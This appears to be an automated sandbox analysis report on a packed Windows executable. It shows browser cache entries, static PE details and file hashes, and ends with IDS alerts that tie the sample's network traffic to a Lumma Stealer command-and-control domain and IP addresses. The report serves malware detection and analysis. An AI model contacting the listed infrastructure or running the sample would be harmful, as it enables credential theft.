SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946325704680807
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'885'696 bytes
MD5:	430241ea54c659cd093cbf48a09f8324
SHA1:	b9c512490e4f96ad0851fae682719a51bd3088a6
SHA256:	88cf30a71ad167f40a9bf9b1cc7b8b68429c712bfda9afa3d495345394c3a76b
SHA512:	3dfde3ebab2d5f34d1d8a50b014dcb1ce15e3eb3eddfd7e3df5c4bc9ba533b510fd5e04f074d5bb68cf0608c91c1e8b223a4819c88a67f612c4eb0701055d739
SSDEEP:	49152:BNoqq1ibBdyJbQpfQFNuvpOMYRVzUJw7CmjY:4qq18BdCAauvGVzUJko
TLSH:	479533441DD79B7CEEFB83301B261254A73627F841AE0C3E27497991C69F28C248EE76
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ug..............................J...........@...........................J......q....@.................................\@..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755B9EA [Sun Dec 8 15:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F72A07AE7EAh
shld dword ptr [eax+eax], ebx, 00000000h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0200000Ah
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5405c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24200	832dacc7ecf06b8fe109b0883f75d30d	False	0.9975129757785467	data	7.981571299929018	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	f89f2f28be6f3fc6a464feb82ace12f3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2ad000	0x200	403ce35c4d9b018202fd58305cb1d883	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wnwdjewy	0x302000	0x1a5000	0x1a4400	ddafc09c192ee0d65195e01ab2879d7d	False	0.9946838052126711	data	7.953134009901093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wpqjrpee	0x4a7000	0x1000	0x600	53c724f9001b08ecda62a549a548acc7	False	0.55859375	data	4.898265443841781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a8000	0x3000	0x2200	e4964cd264a106e376e26b30bc6e6952	False	0.06215533088235294	DOS executable (COM)	0.6651803142007242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T03:41:14.775593+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	53488	1.1.1.1	53	UDP
2024-12-10T03:41:16.241503+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:16.241503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:18.662182+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:18.662182+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	104.21.32.1	443	TCP
